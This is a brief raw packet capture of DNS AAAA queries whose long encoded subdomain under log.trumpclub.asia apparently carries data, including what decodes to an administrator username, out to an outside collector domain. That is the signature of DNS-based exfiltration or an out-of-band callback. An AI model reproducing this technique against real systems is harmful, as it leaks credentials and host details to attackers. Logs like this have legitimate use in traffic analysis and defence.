8.210.126.159.48714 > 192.168.0.226.53: 63367+% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)
10:57:22.785362 fa:16:3e:65:1d:2f > fa:16:3e:8b:c0:46, ethertype IPv4 (0x0800), length 144: (tos 0x0, ttl 64, id 55675, offset 0, flags [DF], proto UDP (17), length 130)
192.168.0.226.53 > 8.210.126.159.48714: 63367+% [1au] AAAA? cgmtmjaymda0mjyymzm5xgfkbwluaxn0cmf0b3incg.log.trumpclub.asia. (102)